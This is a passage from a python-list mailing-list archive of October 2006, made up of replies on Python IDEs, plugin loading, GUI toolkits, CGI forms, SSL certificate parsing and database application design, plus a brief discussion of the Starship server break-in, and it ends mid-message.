> believe me, I've never found one that does a decent job of that.  There is
> just so much more to powerful editors like Emacs or vi than a handful of
> cursor movement commands.  Once a person is proficient they generally won't
> accept substitutes.
> 
> So, please prove me wrong.  Are there any IDEs that will actually work with
> an external instance of Emacs (either by firing it up or by using a remote
> connection program like gnuclient)?

I don't use an IDE when coding on *nix, but I use decent Pythonwin on 
Windows (never found one of these other monster IDEs fluent/better enough)

It detects immediately when a file on disk changed and asks to reload 
form file or not - any good code editor should do this. The sc1-based 
editors ones do this usually. Thus one can without worries edit in 
different editors simultaneously.

Also in Pythonwins py-code or .ini settings it would be very easy to 
implement a 1-liner for a key stroke which opens the current file in an 
external editor. So that should do it.
The same practice should be possible easly with almost any *nix IDE 
which is written open source in python or lisp ... or has other easy 
script customization capabs.
(But I think there are no decent python IDE's on *nix :-( )

-robert




From juho.schultz at pp.inet.fi  Thu Oct  5 15:19:20 2006
From: juho.schultz at pp.inet.fi (Juho Schultz)
Date: 5 Oct 2006 12:19:20 -0700
Subject: user modules
References: <eg29os$6b4$1@enyo.uwa.edu.au>
Message-ID: <1160075960.634886.320530@e3g2000cwe.googlegroups.com>

Cameron Walsh kirjoitti:

> Hi,
>
> I'm writing a python program to analyse and export volumetric data.  To
> make development and extension easier, and to make it more useful to the
> public when it is released (LGPL), I would like to enable users to place
> their own python files in a "user_extensions" directory.  These files
> would implement a common interface in order for the main program to be
> able to read them and execute the necessary code.
>
> My question is what is the best way of implementing this?
>
> I have investigated importing them as modules, but unless the user
> modifies the main program I cannot see how the main program can learn of
> the existence of specific modules.
>
> For example:
>
> from user_modules import *
> # directory 'user_modules' contains __init__.py allowing this
> # From here I would need a list of the imported modules, in order to
> # execute a common command on each of them, such as
>
> for module in imported_modules:
> 	module.initialise()
> 	module.get_tab_window()
>
>
> How do I get from the first bit to the second bit, or is there a better
> way of obtaining the functionality I need?
>
>
> --Cameron.
Sorry... I was typing faster than reading or thinking.

You could have a __init__.py file within user_extensions with
__all__ = ["package1", "package2"]

If you want every python file within some directory in here, you can
auto-generate the __init__.py file in user_extension before importing.
(Or you could have some sort of tester for new .py files detected and
only after you are sure it works, add it.)

from user_extensions import *

would import everything mentioned in __all__. You also have access to
their names through
user_extensions.__all__

The last step would be to put the modules into a list. After the
import,

user_ext_list = [eval(elem) for elem in user_extensions.__all__ ]
for ext in user_ext_list:
    ext.initialize()
    ext.get_tab_window()



From http  Sun Oct 15 08:52:00 2006
From: http (Paul Rubin)
Date: 15 Oct 2006 05:52:00 -0700
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
Message-ID: <7xlknhg2rz.fsf@ruckus.brouhaha.com>

Wolfgang Keller <wolfgang.keller.nospam at gmx.de> writes:
> I'm especially interested in such practical topics as e.g. how to implement 
> things such that the resulting application doesn't show the hourglass for 
> minutes on every mouseclick.
> 
> And, btw; "W** applications" are totally irrelevant for me.

Here's a start:

http://philip.greenspun.com/sql/


From chtaylo3 at gmail.com  Tue Oct 24 13:55:15 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Tue, 24 Oct 2006 13:55:15 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <453E4C49.4000401@v.loewis.de>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<45386B4C.4020001@v.loewis.de>
	<mailman.999.1161629807.11739.python-list@python.org>
	<453d4821$0$22566$9b622d9e@news.freenet.de>
	<mailman.1025.1161646957.11739.python-list@python.org>
	<453DA645.2090009@v.loewis.de>
	<mailman.1099.1161709658.11739.python-list@python.org>
	<453E4C49.4000401@v.loewis.de>
Message-ID: <2590773a0610241055m5fdc8dfj10eaf0b37482ed1f@mail.gmail.com>

> I personally think this is a bug in AMD64-Linux. Libraries should
> be stored in /usr/lib, binaries in /usr/bin, etc. If they need
> simultaneous installation of 32-bit binaries for compatibility,
> they should store them in architecture-specific directories.

I disagree. From what I see, the error, as far as python is
considered, is not being able to specify the location where libs are
put, despite the fact that the --LIBDIR=  option is listed.   It just
happens to manifest itself in AMD64/EM64T Linux, specifically RH linux
where 64bit libs are put in /usr/lib64 and 32bit libs in /usr/lib.

> The x86_64 community has been using Python for a while, and
> apparently has solved this problem already. You should try
> to find out how they did it.

Where might I go to look on how to get this working?

Respectfully,
Christopher Taylor

P.S.  I posted on python-dev and I haven't seen my post show up yet,
nor any responces .... is that list moderated?


From http  Wed Oct 25 15:02:45 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:02:45 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
Message-ID: <7x8xj4i5gq.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> But if the user doesn't enter any text, I don't want the method to
> return at all (even None). I need an error dialog to pop up and tell
> him to enter a value (or press Cancel).

Oh, I see.  You really want something like repeat...while, which Python
doesn't have.  Anyway I start to prefer something like (untested):

     def create_db_name(self):
         try:
            while True:
               dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
                                       'Create New Database')
               if dlg.ShowModal() != wx.ID_OK:
                   return None
               db_name = dlg.GetValue()
               if db_name:
                   return db_name
               pop_up_error_dialog("please enter a value or press cancel")
         finally:
            dlg.Destroy()

If the logic were more complex you could also create an internal
exception class to deal with the user hitting cancel.


From skip at pobox.com  Mon Oct 16 15:50:03 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 16 Oct 2006 14:50:03 -0500
Subject: OT: What's up with the starship?
In-Reply-To: <1161025636.641534.282290@f16g2000cwb.googlegroups.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<mailman.584.1161023364.11739.python-list@python.org>
	<1161025636.641534.282290@f16g2000cwb.googlegroups.com>
Message-ID: <17715.57963.666222.29559@montanaro.dyndns.org>


    rurpy> It seems to have been disscussed publically starting around Oct 6
    rurpy> or 7 (I didn't do a though search so this may be wrong.)  It was
    rurpy> fixed in Python 2.5 so either it was treated as a ordinary bug
    rurpy> with unrecognised security implications, or the developers were
    rurpy> aware of the security issues and sat on them.

It was fixed in a checkin on August 21 (rev 51450).  While it's possible in
theory that this was the root of the compromise, the fact that none of the
security memos floating around suggested that it had been exploited gives me
a fairly warm feeling that it wasn't the cause of the starship breakin.
Also, the fact that it has been around, apparently unexploited, since 2001
suggests that it was sufficiently obscure that either a) nobody who knew
about it found a way to take advantage of it, or b) it was only recently
discovered back in August shortly before the problem was fixed in the source
code.

Skip


From steve at holdenweb.com  Thu Oct 26 09:10:28 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 14:10:28 +0100
Subject: displaying \n-less prompts in a pythonic way
In-Reply-To: <slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
References: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com>
	<slrnek1a1g.its.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <ehqc20$378$2@sea.gmane.org>

Sybren Stuvel wrote:
> alf enlightened us with:
> 
>>I have a command line program which also does some interaction with the 
>>user using stdin and stdout.
>>
>>My requirement is to print prompt so the user can answer in the same 
>>line. Unfortunately:
>>
>>  print 'enter command:',
>>
>>
>>does not really work as the comma is carried over to the following lines 
>>and the indentation gets messed up.
>>
>>
>>I can use sys.stdout.write('enter command:') instead but kind of do not 
>>like sys.stdout.write mixed up with print's statements used to display 
>>other informations.
>>
>>
>>Is there a pythonic solution for the problem?
> 
> 
> Yeah, write a function:
> 
> def prompt(label):
>     '''Prompts the user, returning the typed text'''
> 
>     sys.stdout.write(label)
>     return sys.stdin.readline()
> 
Or use raw_input(), which was designed for such situations:

  >>> mystr = raw_input("Who is this? ")
Who is this? Steve

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bignose+hates-spam at benfinney.id.au  Tue Oct 24 19:51:39 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 09:51:39 +1000
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>
Message-ID: <87slhdnugk.fsf@benfinney.id.au>

Larry Bates <larry.bates at websafe.com> writes:

> mumebuhi wrote:
> > Is it possible to send a non-string object from a Python program
> > to another? I particularly need to send a dictionary over to the
> > other program. However, this is not possible using the socket
> > object's send() function.

You want what is called "serialisation": turning a data structure in
Python into a predictable sequence of (usually text) bytes, to turn it
back into an identical data structure at some other point in time.

    <URL:http://en.wikipedia.org/wiki/Serialization>

> You will need to pickle it first and unpickle it on the other end.

There are many serialisation schemes possible; 'pickle' is just one
(and may be the right one in this case).

Others include JSON, marshal, some XML schema, etc.

-- 
 \         "A child of five could understand this. Fetch me a child of |
  `\                                           five."  -- Groucho Marx |
_o__)                                                                  |
Ben Finney



From nagle at animats.com  Wed Oct 25 00:30:28 2006
From: nagle at animats.com (John Nagle)
Date: Wed, 25 Oct 2006 04:30:28 GMT
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <7x4pttd1zb.fsf@ruckus.brouhaha.com>
References: <453D95EA.1020602@animats.com>
	<donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
	<453E57E9.7010806@animats.com> <7x4pttd1zb.fsf@ruckus.brouhaha.com>
Message-ID: <453EEDD6.5090500@animats.com>

Paul Rubin wrote:
> John Nagle <nagle at animats.com> writes:
> 
>>The reason this now matters is that new "high assurance" certs,
>>the ones that tell you how much a site can be trusted, are now being
>>deployed,
> 
> 
> Oh my, I hadn't heard about this.  They come up with new scams all the
> time.  I guess I'll check for info.  It sounds sort of like the terror
> alert system, which tells us how scared to be on any particular day ;-)

Anyway, I've submitted it as a Python bug report:

     [1583946] SSL "issuer" and "server" functions problems - security

And for the record, here's a workaround: do a split with this
regular expression:

pparsecertstringre = re.compile(
	r"""(?:/)(\w(?:\w|))(?:=)""")

You'll get lists of the form

	['', key1, value1, key2, value2 ...]

This isn't totally unspoofable, and won't work for Unicode certs,
but it works for the few dozen common certs I've run through it.

				John Nagle
				Animats


From rpdooling at gmail.com  Fri Oct 20 02:00:03 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 19 Oct 2006 23:00:03 -0700
Subject: help with my first use of a class
Message-ID: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>

I am a mere hobbyist. Spent several hours trying to make a class,
because I think this is an occasion where I need one. But I can't make
it work.

This code "works" (only because of the global c, which I know I'm
supposed to avoid, by using a Class). I edited the rest to leave out
the irrelevant formatting and printing of the quotations.

I've read about Classes several times, but I don't "get" them yet.
Obviously. If I can solve one real life problem like this, then maybe
I'll see the light.

If I understand the power of Classes correctly, I could make one that
would allow me to make a new instance that would connect to, say, an
SQLite3 db instead of the Access db, as well as to create more methods
that will do different SQL searches.

Thank you for any help,

rd

--------------------------------------

import mx.ODBC.Windows as odbc
import sys
import random

def connect():
    global c
    db='DSN=Quotations'
    conn = odbc.DriverConnect(db)
    c = conn.cursor()

def random_quote():
    """
    Counts all of the quotes in MS Access database Quotations2005.mdb.
    Picks one quote at random and displays it using textwrap.
    """
    c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")
    # Yields the number of rows with something in the quote field
    total_quotes = c.fetchone()
    # Get a random number somewhere between 1 and the number of total
quotes
    quote_number = (random.randint(1, total_quotes[0]),)
    # Select a quote where the ID matches that number
    c.execute ("SELECT Author, Quote FROM PythonQuoteQuery WHERE ID=?",
quote_number)
    quote = c.fetchone()
    blah blah blah

def print_quote()
    code to format and print the quote (which will also have to be
global, unless I learn Classes!)


if __name__ == '__main__':
    if len(sys.argv) == 1:
        connect()
        random_quote()
        print_quote()



From Hakusa at gmail.com  Wed Oct 25 20:20:32 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 17:20:32 -0700
Subject: What's the best IDE?
In-Reply-To: <n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
Message-ID: <1161822032.211125.272160@h48g2000cwc.googlegroups.com>

After researching Komodo, I found it's not free. The only funds I have
are a college fund, and I can't start diping into that until I'm going
to college. Any free AND good IDEs?



From chris.cavalaria at free.fr  Tue Oct 24 12:16:26 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Tue, 24 Oct 2006 18:16:26 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <453E3370.9060008@kevin-walzer.com>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
Message-ID: <453e3c5a$0$23254$426a74cc@news.free.fr>

Kevin Walzer a ?crit :
> jiang.haiyun at gmail.com wrote:
>> Now i began to learn GUI programming. There are so many
>> choices of GUI in the python world, wxPython, pyGTK, PyQT,
>> Tkinter, .etc, it's difficult for a novice to decide, however.
>> Can you draw a comparison among them on easy coding, pythonish design,
>> beautiful and generous looking, powerful development toolkit, and
>> sufficient documentation, .etc.
>> It's helpful for a GUI beginner.
>> Thank you.
>>
>>
>> :)Sorry for my poor english.
>>
> 
> Tkinter:
> Pro: Default GUI library for Python; stable; well-supported
> Con: Needs extension for complex/rich GUI's; core widgets are dated in
> look and feel; many modern extensions in Tcl/Tk have not made it into
> Tkinter or are not widely used (Tile, Tablelist)
Also, the Tkinter API is far less elegant than the others.

> wxPython:
> Pro: Popular, actively developed, wraps native widgets, looks great on
> Windows, commercial-friendly license
> Con: Based on C++ toolkit; docs assume knowledge of C++; some think
> coding style is too much like C++; complex to build and deploy on Linux
>  (wraps Gtk)
See PyQt remarks. And I would add that the coding style is too much like 
MFC and Win32 as a con.

> PyQt:
> Pro: Powerful, cross-platform, sophisticated GUI's
> Con: Based on C++ toolkit; docs assume knowledge of C++; commercial
> deployment is expensive; free deployment must be GPL; smaller
> development and user community than wxPython
Since when is "based on C++ toolkit" a con?

> PyGtk:
> Pro: Sophisticated GUI's, cross-platform (Linux and Win32); very popular
> on some platforms; active development community
> Con: Not native on OS X

You forgot that it is rather buggy on Win32 ( in my experience )


From shane at hathawaymix.org  Mon Oct 16 16:41:46 2006
From: shane at hathawaymix.org (Shane Hathaway)
Date: Mon, 16 Oct 2006 14:41:46 -0600
Subject: OT: What's up with the starship?
In-Reply-To: <eh0p9q$su6$1@sea.gmane.org>
References: <mailman.419.1160722798.11739.python-list@python.org>	<SEhYg.7681$gL.2383@southeast.rr.com>	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>	<mailman.580.1161021410.11739.python-list@python.org>	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>	<eh0j0d$lme$1@sea.gmane.org>	<4533D84B.4060405@hathawaymix.org>
	<eh0p9q$su6$1@sea.gmane.org>
Message-ID: <4533EE8A.7030301@hathawaymix.org>

Fredrik Lundh wrote:
> Shane Hathaway wrote:
> 
>  > I don't know if this concern applies to Starship specifically, but it
>  > seems to apply to thousands of web sites running Python CGIs and
>  > Python web servers.
> 
> so are we seeing thousands of web sites running Python CGIs and web 
> servers being attacked right now?

No, but it often takes a long time for servers to get patched, so the
window for intruders is going to be open for a while.  I'm trying to
understand:

a) how urgent and/or exploitable this is,

b) how I can check whether a given Python installation (running on a
server) has been patched, and

c) whether the security advisory downplays the risk more than it should,
since it appears that many Zope/Plone web servers are vulnerable.

Shane



From sybrenUSE at YOURthirdtower.com.imagination  Sat Oct 21 04:30:20 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sat, 21 Oct 2006 10:30:20 +0200
Subject: Python Source
References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>
Message-ID: <slrnejjmks.jga.sybrenUSE@schuimige.stuvel.eu>

ArdPy enlightened us with:
> Is it possible to hack through the code written by Guido van Rossum
> that makes the python interpreter.

Yes it is.

> If yes please let me know how to begin. If its not then pardon me.

Download the source, start hacking.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From limodou at gmail.com  Fri Oct 27 02:34:48 2006
From: limodou at gmail.com (limodou)
Date: Fri, 27 Oct 2006 14:34:48 +0800
Subject: How to Split Chinese Character with backslash representation?
In-Reply-To: <ehs75n$16u$1@enyo.uwa.edu.au>
References: <mailman.1319.1161920633.11739.python-list@python.org>
	<ehs0de$pk6$1@enyo.uwa.edu.au>
	<3ACF03E372996C4EACD542EA8A05E66A0615DD@mailbe01.teak.local.net>
	<mailman.1322.1161926164.11739.python-list@python.org>
	<ehs75n$16u$1@enyo.uwa.edu.au>
Message-ID: <505f13c0610262334k79c3a79fw944322b8a9fd6004@mail.gmail.com>

On 10/27/06, Cameron Walsh <cameron.walsh at gmail.com> wrote:
> limodou wrote:
> > On 10/27/06, Wijaya Edward <ewijaya at i2r.a-star.edu.sg> wrote:
> >>
> >> Thanks but my intention is to strictly use regex.
> >> Since there are separator I need to include as delimiter
> >> Especially for the case like this:
> >>
> >> >>> str = '\xc5\xeb\xc7\xd5\xbc--FOO--BAR'
> >> >>> field = list(str)
> >> >>> print field
> >> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc', '-', '-', 'F', 'O', 'O', '-',
> >> '-', 'B', 'A', 'R']
> >>
> >> What we want as the output is this instead:
> >> ['\xc5', '\xeb', '\xc7', '\xd5', '\xbc','FOO','BAR]
> >>
> >> What's the best way to do it?
> >>
> > If the case is very simple, why not just replace '_' with '', for example:
> >
> > str.replace('-', '')
> >
> Except he appears to want the Chinese characters as elements of the
> list, and English words as elements of the list.  Note carefully the
> last two elements in his desired list.  I'm still puzzling this one...

Oh, I see. I made a mistake.

-- 
I like python!
UliPad <<The Python Editor>>: http://wiki.woodpecker.org.cn/moin/UliPad
My Blog: http://www.donews.net/limodou


From gagsl-py at yahoo.com.ar  Thu Oct 12 20:23:48 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 12 Oct 2006 21:23:48 -0300
Subject: Standard Forth versus Python: a case study
In-Reply-To: <1160685854.118420.133080@e3g2000cwe.googlegroups.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<1160652722.908731.213650@i42g2000cwa.googlegroups.com>
	<7xfydtojhe.fsf@ruckus.brouhaha.com>
	<7x4pu9bw3z.fsf@ruckus.brouhaha.com>
	<1160685854.118420.133080@e3g2000cwe.googlegroups.com>
Message-ID: <7.0.1.0.0.20061012211219.04ad8c50@yahoo.com.ar>

At Thursday 12/10/2006 17:44, idknow at gmail.com wrote:

> > > > fun median {
> > > >  var x = 0.
> > > >   while( *p++) {
> > > >     if( (*p) > x) x = *p.
> > > >   }
> > > >   return x.
> > > > }
>
>clearly, i've forgotten the definition of the median of a list.
>to that i plead faulty memory.

That explains all. Finding the median in an efficient way (that is, 
without sorting the data first) isn't trivial, so your claim of "I 
can do that using only one temp variable" was a bit surprising...
BTW, the median is the value which sits just in the middle of the 
list when ordered: median(3,5,12,1,2)=median(1,2,3,5,12) = 3


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From maxerickson at gmail.com  Mon Oct  2 09:42:20 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Mon, 2 Oct 2006 13:42:20 +0000 (UTC)
Subject: changing a file's permissions
References: <d59e90ab0610011826r508d0a5ag703efbe472eac249@mail.gmail.com>
Message-ID: <Xns985062B5C8237maxericksongmailcom@80.91.229.5>

James <oscartheduck at gmail.com> wrote:
> ------=_Part_63041_761240.1159752399799
> I'm writing a script in linux to excercise my python skills and
> have encountered a minor issue.
> 
> Writing the script and creating an ouput file was simple enough
> and didn't take too long. However, I don't have permissions to
> execute the file by default. Now, I could simply chmod 755 the
> sucker and have done with it, but I want to apply the permissions
> within the python script if I can. 
> 
> So my question is: how does one change a file's permissions
> inside of python?
> 
> James
> 

Assuming you want to operate on the output file:

import os
os.chmod(path, 755)


Hope this helps,

max



From superflit at gmail.com  Tue Oct 24 17:19:01 2006
From: superflit at gmail.com (flit)
Date: 24 Oct 2006 14:19:01 -0700
Subject: Simple python + html + from --> to python script
In-Reply-To: <mailman.1111.1161722642.11739.python-list@python.org>
References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com>
	<mailman.1111.1161722642.11739.python-list@python.org>
Message-ID: <1161724741.888254.321030@m73g2000cwd.googlegroups.com>

Man....
Very thanks...
I really try to find some source of good and simple and nothing..
Many thanks you are a great help!

Steve Holden wrote:
> flit wrote:
> > Hello All,
> >
> > I am trying to get information from a form and send it to a python
> > script without success..
> > Here is my objective:
> >
> > User enters data in form --> form send variables to python script -->
> > script runs and output result.
> >
> > the form code
> >
> > <form method="post" action="/cgi-bin/script.py" name="coord">Entre com
> > os dados <input name="data1"><br>
> >
> > Entre com os dados <input name="data2"><br>
> > Vai magraum <button name="submete"></button></form>
> >
> > In my script.py
> >
> > What I should have to print
> > something like
> >
> > Hello the data1 + data 2 = ....
> >
> > ?
> >
> > Maybe I am stumbling in something very simple, but I cannot find some
> > working example, and I am totally confused...
> > Thanks in advance
> >
> Untested, without error checking. Caveat emptor:
>
> import cgi
> import cgitb; cgitb.enable() # optional error handling
>
> form = cgi.FieldStorage()
>
> d1 = form["data1"].value
> d2 = form["data2"].value
>
> print """\
> Content-type: text/plain
>
> Hello: the data were: %s and %s""" % (d1, d2)
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From fredrik at pythonware.com  Tue Oct 24 05:52:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 11:52:23 +0200
Subject: forcing a definition to be called on attribute change
References: <1161355685.049304.314360@m7g2000cwm.googlegroups.com>
	<013e01c6f747$e004afa0$a8e7ca2b@guerrillagames.com>
Message-ID: <ehknom$8jd$1@sea.gmane.org>

Michael Malinowski wrote:

> Apologies if this is a stupidly obvious or simple question. If I have a
> class with a series of attributes, is there a way to run a function
> definition in the class whenever a specific attribute is changed?

you can implement a __setattr__ hook, or, in Python 2.2 and newer, use
properties:

    http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html#SECTION000340000000000000000

note that "setter" properties only work if you inherit from "object".

</F> 





From sxn02 at yahoo.com  Tue Oct 24 13:31:42 2006
From: sxn02 at yahoo.com (Sorin Schwimmer)
Date: Tue, 24 Oct 2006 10:31:42 -0700 (PDT)
Subject: Tkinter question
Message-ID: <20061024173142.29349.qmail@web56009.mail.re3.yahoo.com>

Thanks for everybody's advice, on both forums (tkinter-discuss & python-list).

I end up using Fredrik's Lundh solution, since, in my project, multiple buttons are using the same callback, and their creation is controlled by the interaction with the user.

Thanks again,
Sorin



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From fulvio at tm.net.my  Fri Oct 13 01:21:05 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 13 Oct 2006 13:21:05 +0800
Subject: ConfigParser: whitespace leading comment lines
In-Reply-To: <1160683999.617345.46570@b28g2000cwb.googlegroups.com>
References: <1160683999.617345.46570@b28g2000cwb.googlegroups.com>
Message-ID: <200610131321.05632.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 13 October 2006 04:13, gwillden at gmail.com wrote:
> I'd like to propose the following change to ConfigParser.py.

IMO there's a reason that left it in such way.
Whom didn't like the ConfigParser classes had made a new module, and I could 
find a the least 4 of them (cfgparse, config, configobj, pytconfpy).
I choose ConfigParser because I'm very new and I haven't learn how to 
implement subclasses.
I also will to use ConfigParser with some more feature like sub-options, but I 
didn't get that clue :(
If you don't like that behavior easy you can override it in a subclass and use 
the way you prefer.

F



From steven.bethard at gmail.com  Thu Oct 26 16:43:40 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Thu, 26 Oct 2006 14:43:40 -0600
Subject: Sorting by item_in_another_list
In-Reply-To: <7x8xj3cxrl.fsf@ruckus.brouhaha.com>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
	<ehpln3$pt9$2@enyo.uwa.edu.au>
	<Q4qdnYEF8YLW9d3YnZ2dnUVZ_r-dnZ2d@comcast.com>
	<7x8xj3cxrl.fsf@ruckus.brouhaha.com>
Message-ID: <qN2dnUVqnJJngNzYnZ2dnUVZ_v-dnZ2d@comcast.com>

Paul Rubin wrote:
> Steven Bethard <steven.bethard at gmail.com> writes:
>> Cameron Walsh wrote:
>>> Which brings me to the question, would this solution:
>>> B = set(B)
>>> A = B + list(x for x in A if x not in B)
>>> be faster than this solution:
>>> B = set(B)
>>> A.sort(key=B.__contains__, reverse=True)
>> [timings deleted]
>> That said, I'd probably still use the first solution -- it's more
>> immediately obvious why that one works.
> 
> Wait a minute, the first example looks wrong, B has gotten replaced by
> a set and then it's added to a list.

Yep.  If you look back at the lines I actually timed, they were::

     B_set = set(B)
     A = B + list(x for x in A if x not in B_set)

and::

     B_set = set(B)
     A.sort(key=B_set.__contains__, reverse=True)

As you noted, you'll get an error if you try to concatenate B as a set 
to the list.

Steve


From sandravandale at yahoo.com  Fri Oct 13 20:07:56 2006
From: sandravandale at yahoo.com (Sandra-24)
Date: 13 Oct 2006 17:07:56 -0700
Subject: wing ide vs. komodo?
In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu>
References: <2nRXg.108$1n3.2866@news.tufts.edu>
Message-ID: <1160784476.741444.215490@f16g2000cwb.googlegroups.com>

John Salerno wrote:
> Just curious what users of the two big commercial IDEs think of them
> compared to one another (if you've used both).
>
> Wing IDE looks a lot nicer and fuller featured in the screenshots, but a
> glance at the feature list shows that the "personal" version doesn't
> even support code folding! That's a little ridiculous and makes me have
> doubts about it.

Well I don't know about the personal edition, but I've used Komodo and
Wing, and I must say that I chose Wing in the end because it's debugger
is so much more robust than komodo. I tried remote debugging mod_python
using komodo, and it just choked. I spent a week trying to get it to
work. Wing, on the other hand, just worked. I have only the highest
praise for the Wing IDE Debugger, once you get to know it, it's so much
more powerful than Komodo's. The time saved over Komodo was well worth
the money for the professional edition.

-Sandra



From onurb at xiludom.gro  Tue Oct 17 05:59:19 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 11:59:19 +0200
Subject: Book about database application development?
In-Reply-To: <0001HW.C159B10900A0DF8AF0407530@news.individual.de>
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
	<0001HW.C158378C00729A42F0407530@news.individual.de>
	<453352d4$0$12918$426a34cc@news.free.fr>
	<0001HW.C159B10900A0DF8AF0407530@news.individual.de>
Message-ID: <4534a979$0$21891$426a34cc@news.free.fr>

Wolfgang Keller wrote:
>> Developping quality SQLDBMS-based applications requires more than "a
>> bit" of SQL knowledge.
> 
> No doubt. :-) But my "bit" is enough to get me going and to know where to 
> look for further information if I hit a wall. Especially the people on the 
> Postgres mailinglists (as well as the excellent documentation of Postgres) 
> tend to be very helpful here. :-)

Well, this was intended as a general observation !-)

>>> What I'm interested in is rather how to connect a GUI to a database, with 
>>> quite a bit of application logic in between. And how to do it well.
>> This is more a general design question than a database-related (or even
>> Python-related) one.
> 
> The question is specific to database applications in so far as these are 
> typically client-server aplications (multiple users working with the same 
> data with all the resulting concurrency nightmares), and as the volumes and 
> the complexity of the data to be handled are non-trivial.

This can be true for non "database-applications" (well... non "SQL DBMS
based applications" would be better here I think) as well.

>> The answer starts with forgetting about "connect(ing) a GUI to a database" 
>> IMHO 
> 
> Well, _somehow_ the GUI _has_ to be connected to the database. ;-)

The GUI has to be connected to the application, which uses the database.
There's no need for the GUI code itself to know anything about the SQL DBMS.

> I didn't say that this would be through a spaghetti-heap of SQL queries 
> hard-coded into the GUI event handlers.

Hopefully not !-)

>> and experience. Might be time to google for MVC... 
> 
> I know about the existence of MVC. But what I'm actually missing is a nice 
